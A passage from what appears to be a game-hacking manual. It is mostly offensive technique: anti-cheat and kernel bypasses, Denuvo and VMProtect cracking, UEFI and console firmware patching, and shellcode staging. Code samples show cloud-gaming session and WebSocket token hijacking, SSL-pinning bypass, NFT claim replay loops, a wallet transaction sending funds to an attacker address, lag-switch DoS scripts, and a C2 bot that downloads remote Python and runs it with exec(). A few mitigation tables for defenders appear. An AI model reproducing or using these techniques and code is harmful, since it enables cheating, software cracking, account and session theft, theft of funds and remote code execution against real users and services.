    return original_tick_count() - 2000;
}

Anti-Cheat Bypass Techniques

Evade detection with these next-level bypasses.

Core Techniques

  • Hook NtQuerySystemInformation:

    if (SystemInformationClass == SystemProcessInformation) {
        // Modify buffer to hide process
    }
  • Patch IsDebuggerPresent(): Nullify checks with a byte edit.

  • Disable ETW:

    mov rdx, [EtwpProviderTable]
    xor rdx, rdx
  • Driver-Level Injection: Use signed exploit drivers (e.g., Capcom.sys).

  • Unlink DLLs from PEB:

    PLIST_ENTRY pList = (PLIST_ENTRY)pPeb->Ldr->InMemoryOrderModuleList.Flink;
    pList->Blink->Flink = pList->Flink;
    pList->Flink->Blink = pList->Blink;
  • Obfuscate with VMProtect/Themida.

  • Patch rdtsc:

    xor eax, eax
    ret
  • Falsify telemetry, suspend AC threads, hijack overlays.


Kernel Warfare

  • Driver Signing Bypass: Exploit leaked certs (e.g., CVE-2023-36033).
  • Hypervisor Detection Evasion: Patch CPUID VMX flags.
  • Memory Cloaking: Modify CR3 to create ghost memory regions.
  • DMA: Use PCILeech with FT601 FPGA for invisible RAM edits.
  • Behavioral Spoofing: AI-generated mouse movement (GAN-based).

Advanced Techniques

  • Kernel Callbacks: Patch to avoid detection.
  • Rootkits: Persistent cloaking and hiding memory pages.
  • HWID Spoofing: Forged hardware identifiers to bypass bans.

Game Logic Abuse

Break game rules with clever manipulations.

Core Techniques

  • NOP Timers: Remove reload/cooldown delays.
  • Overwrite Pointers: Skip cooldown logic.
  • Tamper Damage Formulas: Boost damage output.
  • Disable Recoil/Sway: Patch physics variables.
  • Currency Desync: Exploit offline logic for free cash.
  • Teleport: Overwrite XYZ coordinates.
  • Fake Events: Trigger onWin() artificially.
  • Client Prediction Desync: Ghost enemies.
  • Modify RNG Seeds: Force loot rolls.
  • Duplicate Items: Abuse server sync bugs.

Advanced Manipulations

  • Physics Manipulation: Hook hkpWorld::stepDeltaTime or PhysX calls.
  • Coordinate Warping: Script teleport logic via ReadProcessMemory / WriteProcessMemory.
  • RNG Prediction: Reverse Mersenne Twister using outputs.

Engine-Specific Hacks

Target game engines with tailored exploits.

Core Techniques

  • Unity: Patch Assembly-CSharp.dll, hook Mono runtime.
  • Unreal: Inject .pak files, hook UFunction::ProcessEvent.
  • GameMaker: Modify .yy / .yyp and inject via YYDebug.
  • WebGL/WASM: Use wasm-decompile, optimize with wasm-opt.
  • Lua/Mono: Inject scripts, hook Assembly.Load.

Engine-Specific Exploits

  • Unreal Engine 5:

    • Dump GObjects/GNames using pattern scan: 48 8B 05 ?? ?? ?? ?? 48 8B 0C C8
    • Inject UGameplayStatics::ExecuteConsoleCommand
  • Unity:

    • Dump IL2CPP with Il2CppDumper + Ghidra
    • Hijack Mono JIT via mono_jit_compile_method
  • Advanced:

    • Shader Replacement for wallhacks
    • Physics Hooks via engine allocators

APT-Level Techniques

Employ bleeding-edge hacks at the APT level.

Core Techniques

  • Ring0 Driver Injection
  • EPT Memory Redirection (VT-x)
  • Patch PTE Bits to hide pages
  • Hypervisor Execution: Custom VM cheat layer
  • PCILeech DMA
  • UEFI/EFI Bootkits for firmware persistence
  • GPU-Offloaded Cheats: Use CUDA shaders
  • Patch Syscall Stubs
  • NTFS ADS: Alternate data stream payloads

Firmware and Hardware

  • UEFI Rootkits: Flash modded firmware via CH341A
  • GPU Malware: CUDA shellcode via cuMemAlloc + cuLaunchKernel
  • Intel ME: Use Red Unlock for code injection

Advanced Techniques

  • DMA via Intel 82599 NIC
  • SGX/SEV Enclaves for protected cheat logic
  • Steganography: Embed payloads in textures/assets

Automation and Fuzzing

Automate and break games with these tools.

Core Techniques

  • Automate with pyMeow / pymem: Script memory edits in Python.
  • Fuzz .sav, .pak, .json, .lua: Use AFL++ / Honggfuzz to crash parsers.
  • Simulate Movement: Send fake input via SendInput or Python libraries.
  • Trace with Frida: Log function calls with custom callbacks.
  • Automate UIs with Selenium: Script web-based interfaces.
  • UDP Packet Fuzzers: Send custom payloads to game servers.
  • Hook Scripting Engines: Monitor Lua / Python calls.
  • Auto-Aim with YOLOv5 + OpenCV: Real-time targeting.

AI-Powered Bots

  • YOLOv7 + DeepSORT: Real-time aimbot tracking.

    model = torch.hub.load('ultralytics/yolov5', 'yolov7')
    results = model(frame)
    targets = results.pandas().xyxy[0]  # Extract enemy bounding boxes
  • Reinforcement Learning: Train agents with Unity ML-Agents or OpenAI Gym.


Advanced Fuzzing

  • Coverage-Guided Fuzzers: AFL++ with QEMU mode for binary-only games.
  • Custom Mutators: Build fuzzers for Protobuf or proprietary structures.

DRM and Obfuscation Bypass

Crack protections with these advanced techniques.

Core Techniques

  • Bypass Denuvo: Dump memory mid-run with x64dbg.
  • Locate OEP: Trace back to original entry point.
  • Rebuild PEs: Use Scylla / PE-bear to fix dumped binaries.
  • Patch Decryption Loops: Remove XOR routines from loaders.
  • Disable CRC Checks: Patch integrity verification.
  • Locate License Checks: Cross-reference key strings in IDA.
  • Inject at Handoff: Hook stub-decryption transitions.
  • Devirtualize: Unpack VMProtect / Themida.
  • Hook NtOpenFile: Intercept license queries via Frida.

Denuvo Cracking

  • Memory Dumping: Use ScyllaHide to evade debugger checks and dump decrypted .text sections.
  • Emulation: Reconstruct VM handlers using Qiling Framework.

Advanced Techniques

  • VMProtect 3.x Unpacking: Decode x86 opcodes with Triton.
  • ASLR Bypasses: Patch static memory for reliable exploitation.

Shellcode Engineering

Craft stealthy payloads with these methods.

Core Techniques

  • ESP Overlays: Execute via render function hooks.
  • Polymorphic XOR: Compress/obfuscate shellcode payloads.
  • Overflow Triggers: Inject via savegame or file parsers.
  • Config-File Loading: Store payloads externally.
  • OCR-Based ESP: Use screen capture + OpenCV, no injection.
  • Heap Spray: Execute through Lua / JS scripting engines.
  • Alphanumeric Payloads: For character-restricted exploits.
  • TLS Callbacks: Run before main() in PE headers.
  • Custom Syscalls: Avoid usermode detection.

Advanced Engineering

  • SELF: Staged ELF Loader with LZMA compression and mprotect stub.
  • Thread Hijacking:
    NtSuspendThread(hThread);
    WriteProcessMemory(...); // overwrite RIP
  • ROP Bootstrapping: Launch shellcode via gadgets.

DRM Loader Staging

Modern DRM systems deploy multi-stage loaders, packing and obfuscating payloads using VM-based encryption, anti-debugging logic, and staged virtual machine handlers. Breaking through these layers is essential for:

  • Restoring clean .text sections
  • Analyzing game logic behind anti-tamper wrappers
  • Reconstructing protected functions for cheat injection
  • Defeating signature checks and telemetry sinks

Key Concepts

Concept Description
Loader staging Multiple layers of unpacking: stub → loader → VM
Virtualization Code translated into custom bytecode and interpreted
Mutation engines Obfuscate instructions and flow via polymorphism
Anti-dump Prevent dumping memory with CRCs, active page clearing
Loader chain detection Uncover multi-executable chains embedded in final binary

Reverse Engineering Process (Staged DRMs)

1. Detect the Staging Behavior

  • High entropy in .text, .vmp0, or .code → indicates encryption
  • Stub code at OEP (original entry point) → jmp short _loadnext
  • Long sleep / timing checks → anti-debug

Use:

binwalk --entropy binary.exe

Tools: PEiD / Detect It Easy

2. Locate the Real Entry Point

Staged loaders often call:

CALL DecryptAndExecute
JMP EAX

Trace VirtualAlloc → memcpy → CreateThread or jmp rax

Watch for:

  • NtProtectVirtualMemory with RWX permissions
  • memcpy into a shell region
  • Encrypted VM blob → then mapped and run

3. Trace Loader Flow with x64dbg

Place breakpoints:

bp kernel32!VirtualAlloc
bp kernel32!CreateThread

Then dump memory once second-stage loader appears.

4. VMProtect Loader Internals

Stage Purpose
Stage 0 PE stub (launches decryptor)
Stage 1 Loader stub (decrypts VM blob)
Stage 2 Encrypted VM bytecode in .vmp0
Stage 3 Custom VM interprets protected funcs

Signs of VMProtect:

  • .vmp0, .vmp1, .vmp2 sections
  • MOV EAX, VM_OPCODE_TABLE
  • High-entropy embedded dispatch loop

Tools: VMPDump, x64dbg + Scylla + VMProtectTrace

5. VM Handler Identification

Dispatch logic:

movzx eax, byte ptr [ecx]    ; opcode fetch
call [OpcodeHandler + eax*4] ; handler dispatch

Use Unicorn engine:

mu.mem_write(vm_addr, vm_code)
mu.emu_start(vm_addr, vm_addr + len(vm_code))

Nested Loader Unpacking

  • Multiple compressed regions (LZ4, LZO, LZSS)
  • XOR-encrypted memory blocks
  • Anti-VM or anti-dump logic

Use: Scylla, PE-sieve, Cheat Engine

Anti-Debug/Anti-Dump Bypasses

Defense Mechanism Bypass Technique
Hardware breakpoint check Patch IsDebuggerPresent, NtQueryInfoProcess
CRC32 page check Patch CRC logic with RET or NOPs
Page clearing on dump Dump post-RWX and force page copy
VEH-based obfuscation Remove AddVectoredHandler entries

Tools: ScyllaHide, TitanHide, PE-sieve

Manual Dump and Rebuild

import frida

def on_message(msg, data):
    if msg["type"] == "send":
        print("[*]", msg["payload"])

session = frida.attach("target.exe")

script = session.create_script("""
Interceptor.attach(Module.getExportByName(null, "VirtualAlloc"), {
  onLeave: function (retval) {
    send("Alloc at: " + retval);
  }
});
""")
script.on('message', on_message)
script.load()

Denuvo Specific Staging

  • .text0 → Loader stub
  • .text1 → Encrypted ELF or PE blob
  • .bind, .elfhash, .denuvo sections

Reverse:

  • Hook NtQueryVirtualMemory, NtReadVirtualMemory
  • Look for RDTSC anti-debug timings
  • Use Cheat Engine Snapshot Compare

Common Loader Signatures

Loader Stage Signature / API Description
Stub loader jmp [rax], entropy Entry obfuscator
Memory decryptor RtlDecompressBuffer, VirtualProtect Payload unpacker
VM dispatcher mov al, [ecx], call [eax*4] Custom VM handler switch
Anti-debug RDTSC, CPUID, int 3 Timing + breakpoint checks

DRM Loader Fuzzing / Mutation

Use LIEF to:

  • Modify PE headers, section alignments
  • Patch entry point or stub region

Combine with AFL++ to fuzz staged binaries.

DRM Tooling Ecosystem

Tool Purpose
x64dbg + Scylla Manual unpack, IAT fix
PE-sieve Detect memory-mapped unpacked modules
VMProtectDump Dump runtime-decrypted VM code
TitanHide Hide debugger from anti-debug checks
IDA Pro + HexRays Advanced disasm and pseudocode
LIEF Programmatic PE patching

AI/ML Augmentations

Leverage AI for next-gen cheat capabilities.

Core Techniques

  • YOLOv5 / Faster-RCNN: Train pixel-perfect aimbots.
  • OpenCV Color Analysis: Track HP bars, enemies, alerts.
  • RL Bots: Intelligent evasion via OpenAI Gym.
  • LSTM: Predict patrol paths or enemy movements.
  • Neural ESP: Use segmentation models for wallhacks.
  • Anti-Cheat Popup Detection: OCR + reaction system.
  • Decision Trees: Prioritize high-value loot.
  • Movement Analysis: Detect bot players.

Generative Cheats

  • StyleGAN3: Generate neural textures for ESP.
  • LSTM: Predict movements from input logs.

Advanced Techniques

  • GAN Fine-Tuning: Spoof UI or texture assets.
  • Edge AI: Deploy to microcontrollers for field-ready inference.

Hardware Hacks

Exploit physical devices for undetectable cheats.

Core Techniques

  • Arduino HID Spoofers: Simulate human-like input.
  • PCILeech DMA: Inject RAM via hardware.
  • USB-to-UART: Access devkit consoles.
  • Logic Analyzers: Monitor AC behavior.
  • Raspberry Pi Deauth: Disrupt online sync via WiFi attacks.
  • Teensy Input Simulators: Randomized macros.
  • HDMI Capture Aimbots: External targeting.
  • QMK Keyboard Logic: Reflash firmware with custom logic.
  • BIOS Patching: UEFI driver loading pre-boot.

Firmware Analysis

This section focuses on hacking, reverse engineering, and modifying console and PC firmware — the bedrock of trust for most anti-cheat and platform security systems.

From BIOS/UEFI to hypervisors and bootloaders, firmware manipulation allows for:

  • Undetectable cheats via early boot injection
  • Bypassing secure boot, signature validation, and TPM/TrustZone
  • Full control over memory, virtualization, and root-level telemetry

UEFI Dump - Patch - and Injection

Modern PCs boot via UEFI (Unified Extensible Firmware Interface), replacing legacy BIOS. UEFI is programmable and includes DXE modules that enforce secure boot and TPM communication.

Tools

Purpose Tool
Firmware extraction UEFITool, Chipsec, Flashrom
Modding UEFI vars RU.EFI, AMIBCP, H2OUVE
Secure boot bypass UEFI Shell, EDK2 hacking
Flash dumping CH341A SPI Programmer

Dump UEFI from Flash

flashrom -p ch341a_spi -r dump.bin

Or from inside Linux:

sudo chipsec_util spi dump BIOS.bin

Explore DXE Modules

UEFIExtract dump.bin
UEFIDump dump.bin

Look for: SecureBoot, SetupUtility, TPM, SmmAccess2, AmiBoardInfo, RuntimeServices, SmmRuntime

Patch Boot Flow

  • Add unsigned DXE modules
  • Hook BootServices->StartImage
  • Inject payload that writes to RAM after ExitBootServices()

Inject DXE Module Payload

  • Modify UEFI .ffs file
  • Insert using UEFITool
  • Flash patched ROM

Payload triggers at early boot phase (pre-OS)

Console Boot ROM Reversing (Nintendo Switch, PS5, Xbox)

Nintendo Switch

  • Boot ROM: Boot0, Boot1, pkg1, pkg2
  • Vulnerabilities: Fusée Gelée, Warmboot Handoff

Tools: hekate, Lockpick_RCM, Atmosphere, TegraExplorer, HacTool

PS5

  • Boot chain: BootROM, Second Loader, Secure Kernel
  • Protections: TrustZone, LV0/LV1 encryption, OTP

Tools: ps5-kstuff, IDA, Ghidra, Unicorn, UART taps

Xbox Series (Scarlett)

  • Hyper-V root partition
  • Secure Boot + Dev Mode

Tools: QEMU, HVMSR intercepts

LV0 / LV1 Hypervisor Reversing (Sony Consoles)

  • LV0: Boot loader binary
  • LV1: Hypervisor kernel
  • LV2: GameOS

Target: Patch syscall registration

Tools: Mamba, ps3xploit, Hypervisor Call Trace

Firmware Attack Matrix

Layer Target Attack Vector
UEFI DXE modules Patch boot services
Nintendo pkg1, loader.kip1 ROP injection
PS5 BootROM EL3 key handler
Xbox hvlaunch.xex Hypercall patching
PS3 LV0 / LV1 Homebrew syscall patching

Research-Level Firmware Tooling

Tool Use Case
UEFITool Extract/patch DXE modules
Chipsec Analyze SPI/SMM
Flashrom Dump ROM via SPI
IDA, Ghidra Boot ROM reverse engineering
Unicorn ARM64 emulation
Qiling Firmware sandboxing

Defeating Firmware Protections

Protection Bypass Strategy
Secure Boot Patch SetupUtility
OTP Key Fuse Emulated OTP
TrustZone EL3 handler patch
Dev Mode UEFI var patch

Firmware-Based Cheat Staging

  • Memory patchers before anti-cheat
  • CR3 spoofers
  • Kernel-mode syscall filters

Console Exploits

  • PlayStation 5: WebKit ROP exploit (e.g., CVE-2021-30858).
  • Nintendo Switch: Coldboot exploit Fusée Gelée via USB-C.

Advanced Hardware Techniques

  • Raspberry Pi Pico: Emulate Xbox controller with GPIO triggers.
  • FPGA Packet Injection: Xilinx Artix-7 for spoofing.
  • JTAG: Soldered access to CPU internals.

External Console Botting over Remote Play

Use streaming tools like PS Remote Play, Xbox App, or Chiaki to automate console gameplay from a PC:

  • Capture gameplay with OpenCV or YOLOv7
  • Detect resources, enemies, UI elements
  • Inject input via HID emulators (Arduino Leonardo, Teensy)
  • Automate loops: mining, fishing, looting
  • Emulate human-like behavior via randomization and delays

This setup works fully externally, ideal for undetectable console farming bots.

Architecture Diagram

   ┌───────────────┐       ┌────────────────────┐      ┌───────────────┐
   │ PlayStation 5 │──────▶│ PS Remote Play App │─────▶│ Screen Capt.  │
   └───────────────┘       └────────────────────┘      │ + CV Detector │
                                                       └────┬──────────┘
                                                            │
                                                     ┌──────▼───────┐
                                                     │ HID Emulator │  (Arduino/Teensy)
                                                     └──────────────┘

How to Build It (PC/Phone → Console Bot)

1. Remote Stream Platform

Use:

  • PlayStation Remote Play (PS4/PS5)
  • Xbox Console Companion / Remote Play
  • Moonlight + Sunshine (NVIDIA Gamestream-based)
  • Chiaki (open-source, reverse-engineered PS Remote Play)

Best Option for Automation: Chiaki + OBS + Teensy


2. Screen Capture and Detection

Use OpenCV or YOLOv5/YOLOv7 to identify:

  • Health bars
  • Enemies
  • Resource nodes
  • Map location

Example: Mining Bot Detection

import cv2
import numpy as np

node_template = cv2.imread("ore_node.png", 0)
frame = cv2.imread("screen.png", 0)
res = cv2.matchTemplate(frame, node_template, cv2.TM_CCOEFF_NORMED)
loc = np.where(res >= 0.92)

for pt in zip(*loc[::-1]):
    print("Node at:", pt)
    move_cursor_to(pt)
    send_button_press("X")

3. Input via Arduino or Teensy

Use Arduino Leonardo, Teensy 4.0, or Raspberry Pi Pico (RP2040):

  • Emulate Xbox or PS5 controller
  • Send joystick moves, button presses
  • Fake human input with jitter/randomization

Example: Arduino Joystick Movement Script

#include <Joystick.h>
Joystick_ Joystick;

void setup() {
  Joystick.begin();
}

void loop() {
  Joystick.setYAxis(100); // Move forward
  delay(500);
  Joystick.setYAxis(0);   // Stop
  delay(1000);
}

4. Touch Automation on Phone (optional)

If using PS Remote Play on Android:

  • Use AutoInput + Tasker
  • Use ADB + scrcpy + Python

Example: Tap Resource with ADB

adb shell input tap 540 1320

Bot Use Case: ESO Mining/Farming Loop (Console)

  • Record a resource route (streaming to PC)
  • Detect resource spawn points with template matching or YOLO
  • Move character with joystick HID script
  • Pause until node appears
  • Interact when node is detected (X button press via Teensy)
  • Repeat loop with randomized sleep and camera wiggle

This works 100% externally. No modding, no memory hooks.


Example ConsoleBot_RemotePlay.py

# Automates node detection + input for Remote Play ESO bot

from PIL import ImageGrab
import cv2, numpy as np
import serial, time

ser = serial.Serial('COM3', 9600)  # Teensy/Arduino COM port

def find_node(template):
    frame = np.array(ImageGrab.grab())
    gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
    tmpl = cv2.imread(template, 0)
    result = cv2.matchTemplate(gray, tmpl, cv2.TM_CCOEFF_NORMED)
    loc = np.where(result >= 0.95)
    return list(zip(*loc[::-1]))

def send_input():
    ser.write(b'X\n')  # Arduino interprets and presses X button
    time.sleep(1)

while True:
    hits = find_node("ore_template.png")
    if hits:
        print("[+] Resource found:", hits[0])
        send_input()
    time.sleep(2)

Cloud Gaming Exploits

Cloud gaming platforms (e.g., GeForce NOW, Xbox Cloud, Amazon Luna, Stadia) shift game execution to the cloud, introducing network-based attack surfaces previously unavailable in traditional game hacking. In this section, we focus on exploiting latency, session logic, and cloud APIs for unauthorized access and disruption.


Threat Modeling: Cloud Gaming

Target Area Attack Vector Goals
Network ↔ Stream Latency injection, packet reordering Desync, timing abuse
Session Token / Auth Hijack or reuse active session Take over session or identity
API Gateway / Infra Reverse-engineer APIs Abuse resources, extract games
UI Overlays JavaScript / WebRTC manipulation XSS, UI injection, fake input

Latency Manipulation Attacks for All Levels

Cloud gaming relies on low-latency video streaming and responsive inputs. Injecting controlled network jitter, delay, or packet reordering can desynchronize gameplay or force input failures.

Tools Needed

  • tc (Linux traffic control)
  • netem (network emulator)
  • clumsy (Windows packet drop/lag tool)
  • Wireshark or tcpdump for packet inspection
  • VPNs with adjustable RTT (e.g., Mullvad + Socks5 proxy)

Example 1: Induced Lag to Exploit Hit Registration

Linux (NetEm + tc):

sudo tc qdisc add dev eth0 root netem delay 300ms 50ms distribution normal

Windows (Clumsy):

clumsy.exe --lag 250 --drop 3%

Use Cases

Target Game Exploit Effect
Fortnite (xCloud) Desync builds and shots
Apex (GeForce) Lag-switch to eat bullets
ESO / MMOs Skip animation cancels / avoid interrupts

Adaptive Lagbots (Advanced)

Scripted lag control based on game state:

# lagbot.py
import os, time

while True:
    os.system("tc qdisc change dev eth0 root netem delay 300ms 100ms")
    time.sleep(3)
    os.system("tc qdisc change dev eth0 root netem delay 0ms")
    time.sleep(2)

Session Hijacking Techniques

Cloud gaming platforms maintain browser-based or WebSocket-based session tokens for game stream authentication.

Attack Surface

Method Attack Notes
Cookie/session steal Replay token Use mitmproxy or JS hook
WebSocket hijack Inject into live control Requires token & WS URL
API endpoint abuse Replay startSession() call Seen in Stadia / Luna

Example: WebSocket Hijack in Browser

Extract WebSocket Token:

wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ

Craft Python Client:

import websocket
ws = websocket.create_connection("wss://cloudplay.geforce.com/session?id=abcd1234&token=XYZ")
ws.send('{"action":"move","direction":"left"}')

Unauthorized Access to Game Sessions

Replay startSession API Call:

POST /api/v1/startSession
Authorization: Bearer <token>

Target Examples

  • Stadia DevKit leaks via launchTitle()
  • GeForce NOW API token replay
  • Moonlight/Sunshine weak token auth

Cloud API Reverse Engineering

Tools

  • mitmproxy
  • Burp Suite
  • chrome://net-export
  • DevTools → Network tab

Frida TLS Unpinning (Android Cloud Client)

Java.perform(function() {
  var SSLContext = Java.use("javax.net.ssl.SSLContext");
  SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(k, t, r) {
    console.log("[*] Bypassing SSL Pinning");
    this.init.call(this, k, [MyTrustManager.$new()], r);
  };
});

Interesting Endpoints to Target

Platform Endpoint Potential Abuse
Stadia /startSession, /loadTitle Replay past sessions
GeForce NOW /streams, /auth/v2 Spoof device or obtain stream
Xbox Cloud /xgpu/allocateSession DoS resource exhaustion

Bypassing Detection and Limits

Technique Description Mitigation
VPN rotation Evade geo locks, rate limits SOCKS5 + IPv6
Modify browser headers Impersonate session/client Override User-Agent, device ID
Replay old sessions Use expired but cached tokens Exploit poor session invalidation
Scripted idle mouse Prevent timeout JS or browser automation

CTF / Red Team Use Cases

  • Spoof GeForce NOW session to capture streamed flags
  • Denial of Service on PvP cloud opponents via lag
  • Enumerate enterprise cloud gaming APIs
  • Phish or hijack stream tokens and inject overlays

VR/AR Game Hacking

Virtual and Augmented Reality (VR/AR) introduce new attack vectors—spatial spoofing, sensor manipulation, and gesture abuse—distinct from traditional game hacking.

Target Platforms

SDK / Platform Description Attack Surface
OpenVR / SteamVR Valve’s open VR runtime Pose injection, device spoofing
Oculus SDK Meta’s VR ecosystem Gesture hacks, pose spoofing
Unity XR Unity’s VR abstraction Memory manipulation
ARKit / ARCore iOS/Android AR frameworks Sensor spoofing

Spatial Spoofing Techniques

Manipulate 6DoF (degrees of freedom) tracking to teleport, walk through walls, or gain speed boosts.

Unity (IL2CPP) Position Injection

// PlayerTransform.cs (decompiled)
void Update() {
  transform.position = new Vector3(x, y, z); // Injected coords
}

Inject with Frida:

var transform = Mono.use("UnityEngine.Transform");
transform.position.value = {x:999, y:5, z:-20};

OpenVR Pose Spoof (Linux/Win)

vr::TrackedDevicePose_t spoofedPose;
spoofedPose.mDeviceToAbsoluteTracking = ...; // Injected matrix
VRCompositor()->SubmitPose(...);

Gesture / Input Spoofing

Modify gesture recognition logic for:

  • Auto-swing in Beat Saber
  • Infinite grab reach in Half-Life: Alyx
  • Aimbot-style teleporting in Onward VR

Frida - Modify Controller Position

Interceptor.attach(Module.findExportByName("OculusVR.dll", "GetControllerPose"), {
  onLeave(retval) {
    retval.x = 999;
    retval.y = 999;
    retval.z = 999;
  }
});

Sensor Spoofing in AR (ARKit/ARCore)

Send fake GPS, compass, or accelerometer data to mobile AR games like Pokémon GO.

Android (Frida + SensorManager):

Java.perform(function() {
  var Sensor = Java.use("android.hardware.SensorManager");
  Sensor.getOrientation.implementation = function(...) {
    return [999, 999, 999];
  };
});

Red Team / CTF Use Cases

Tactic Result
Spoof OpenVR pose Appear in unreachable game area
Gesture override Instant win input
AR location spoof Gain location-limited loot/events
Hook Unity XRManager Force map load / room bypass

Blockchain and NFT Game Exploits

Blockchain-integrated games introduce new attack surfaces—smart contracts, token logic, and crypto wallets.

Target Surfaces

Layer Attack Type
Smart Contracts Logic flaws, state overwrite
Off-chain Logic Desync between client/server
Wallet Integration Spoof signatures or misroute funds
Game Economy Price oracle abuse, arbitrage

Smart Contract Exploits

Example: Unprotected Mint Call in Solidity

function mintWeapon() public {
  weaponBalance[msg.sender] += 1;
}

Exploit via Web3.py:

from web3 import Web3
w3 = Web3(Web3.HTTPProvider('http://127.0.0.1:8545'))
contract = w3.eth.contract(address='0x...', abi=abi)
contract.functions.mintWeapon().transact({'from': attacker})

NFT Duplication

Replay Attack Exploit:

POST /api/v1/claimDrop
Authorization: Bearer XYZ

for token in $(cat tokens.txt); do
  curl -X POST https://game/api/v1/claimDrop -H "Authorization: Bearer $token"
done

In-Game Currency Inflation

Price Oracle Exploit

  • Launch flash loan
  • Manipulate ETH/USD temporarily
  • Buy items at incorrect valuation

Wallet Integration Abuse

ethereum.request({
  method: 'eth_sendTransaction',
  params: [{
    to: '0xattacker',
    value: '0xFFFFFFFFFFFFFFF',
    gas: 21000
  }]
});

Red Team / CTF Use Cases

Exploit Effect
Duplicate NFT Unlimited rare item cloning
Unauthorized mint Create ultra-powerful weapons
Currency abuse Inflate gold/tokens
API replay Loot claim replays

Detection + Prevention (Defensive Devs)

Vector Mitigation
Smart Contract Use onlyOwner / require() checks
NFT APIs Use nonce or anti-replay tokens
Unity Wallets Validate signature + timestamp
Oracles Use median + TWAP, not single source

Zero-Knowledge Game Proofs (zk-Gaming)

Zero-Knowledge Proofs (ZKPs) — especially zk-SNARKs and zk-STARKs — are now used in Web3 games to verify game logic, moves, and state transitions without revealing the underlying data. This section breaks down how they work, how to identify them in use, and how attackers may abuse or bypass them.

What Are zk-SNARKs / zk-STARKs?

Concept Description
zk-SNARK Zero-Knowledge Succinct Non-Interactive Argument of Knowledge
zk-STARK Scalable Transparent Argument of Knowledge (STARK = no trusted setup)
Purpose Allows a party to prove knowledge of a state or computation without revealing it
Use in games Verifying game actions, scores, or resources off-chain then committing proof on-chain

Use Cases in Web3 Gaming

Use Case zk Purpose Example
PvP move verification Ensure actions are valid without revealing tactics Private turn in a card battle game
Anti-cheat verification Ensure a player followed physics/move rules zk-proof of path validity in racing
RNG proofs Ensure fair randomization zk-RNG proof of loot roll
Score submission Prevent falsified high scores zk-proof of valid gameplay + result
Asset creation Guarantee valid NFT minting zk-proof of crafting or merging

How to Detect Zero-Knowledge Proofs in Games

On-chain Signs

Smart contracts referencing verifier contracts (often generated via ZoKrates, Circom, or Cairo)

Solidity functions like:

function verifyProof(...) public view returns (bool)

Contracts using libraries like:

  • Verifier.sol (ZoKrates)
  • Plonk.sol, Groth16.sol
  • STARKVerifier.sol (Starkware)

Run:

myth analyze contract.sol
slither verifyProof --detect-constant-function

Frontend / Client Clues

Web3 game clients (JavaScript/TypeScript) loading .zkey, .wasm, or .proof.json files.

Use of:

import { groth16 } from "snarkjs"
groth16.fullProve(input, wasmPath, zkeyPath)

Proof payload sent via HTTP to /submitScore or /submitProof

Example: zk-SNARK in Score Submission

Game Flow (Simplified):

  1. Player finishes game
  2. Client generates zk-proof locally
  3. Sends proof to smart contract
  4. Contract verifies proof before recording score

Verifier Snippet (Solidity):

function submitScore(bytes memory proof, uint[] memory publicSignals) public {
    require(verifier.verifyProof(proof, publicSignals), "Invalid proof");
    scores[msg.sender] = publicSignals[0];
}

Internals: zk-SNARK Components

Component Role
Circuit Describes logic to be proven (e.g., game score validity)
Prover Generates proof from private + public inputs
Verifier Checks the proof’s validity using public input
Trusted Setup Generates cryptographic keys for prover/verifier

How to Attack or Bypass

1. Client-Side Proof Forging

If proofs are generated client-side, reverse-engineer WASM or zkey logic.

// Normally
await groth16.fullProve(validInput, "circuit.wasm", "key.zkey")
// Maliciously
await groth16.fullProve(modifiedInput, "tampered_circuit.wasm", "forged_key.zkey")

2. Weak Circuit Logic

Example:

signal input score;
signal input cheatCode;
signal output isValid;

isValid <== cheatCode * 0 + score == expectedScore;  // 💥 flawed logic

3. Replay Proof Attack

Reused public inputs (e.g., static RNG seed) → replayable proof.
Fix: Include session ID, player address, or nonce in public signals.

4. Verifier Contract Injection

Look for unsafe delegatecall, dynamic verifier contracts.

Run:

mythril --solc-args --ast-compact-json target.sol

Advanced Vector: zk-STARK vs zk-SNARK

Feature zk-SNARK zk-STARK
Trusted Setup ✅ Required ❌ No trusted setup
Proof Size Small (100s B) Large (~100 KB)
Verification Fast Slower
Tooling ZoKrates, Circom Cairo, Starknet
Use in Games Card games, RNG, scores High-complexity logic (PvP, path)

Tools You Can Use

Tool Use Case
ZoKrates zk-SNARK circuit definition and proof generation
Circom Write custom proof circuits (used by TornadoCash)
snarkjs Generate proofs in JS for web-based zk clients
Cairo zk-STARK language (used in Starknet)
Noir Aztec’s Rust-based zk circuit DSL
zkrepl.dev Live REPL for zk circuits

Mitigation / Hardening (for defenders)

Threat Mitigation
Proof tampering Verify full public input hash on-chain
Replay proof Add per-session randomness or block height
Weak constraints Audits + formal circuit verification tools
Contract substitution Avoid delegatecall, verify codehash

Summary

  • zk-SNARKs & zk-STARKs are used to verify private player actions or game logic without revealing secrets

  • Attack surface lies in client-side proof generation, weak constraints, replayability, and contract architecture

  • Understanding zk circuits is essential for next-gen exploit and audit work in Web3 games


Remote Control / Command-and-Control Bots (C2 Bots)

Simulating advanced adversary tradecraft in bot management and control using command-and-control (C2) infrastructure. While these techniques resemble malware TTPs, they are crucial for Red Team operations and security research.


Threat Modeling and Use Case

Use Case Implementation Red Team Equivalent
Modify farming route Fetch new waypoints from C2 server Stager / pull-based beacon
Change logic remotely Load new scripts/DLLs over HTTP Cobalt Strike artifact exec
Trigger bot actions Polling or webhook trigger HTTP reverse beacon
Persist config after reboot Store in %APPDATA%, ADS, Task Scheduler RAT-style persistence
Send loot logs/telemetry Discord/TG webhook or POST exfil Covert exfiltration

Remote-Controlled Game Bot Skeleton

# C2Bot.py
# Pulls config from remote C2, loads logic, and executes

import requests
import time
import ctypes

CONFIG_URL = "https://yourdomain.com/config.json"

def fetch_config():
    try:
        res = requests.get(CONFIG_URL, timeout=5)
        if res.status_code == 200:
            return res.json()
    except Exception as e:
        print("[-] Failed to fetch config:", e)
    return {}

def load_and_exec(payload_url):
    try:
        script = requests.get(payload_url, timeout=5).text
        exec(script, globals())
    except Exception as e:
        print("[-] Failed to load payload:", e)

if __name__ == "__main__":
    while True:
        cfg = fetch_config()
        if "payload" in cfg:
            print("[+] Loading payload from:", cfg["payload"])
            load_and_exec(cfg["payload"])
        time.sleep(cfg.get("interval", 60))

Config Example (config.json)

{
  "payload": "https://yourdomain.com/logic/minerbot.py",
  "interval": 60,
  "trigger": "enabled"
}
  • payload: remote script or logic
  • interval: polling frequency
  • trigger: activation flag

Advanced Features to Add

  • Hot-Swap Logic:

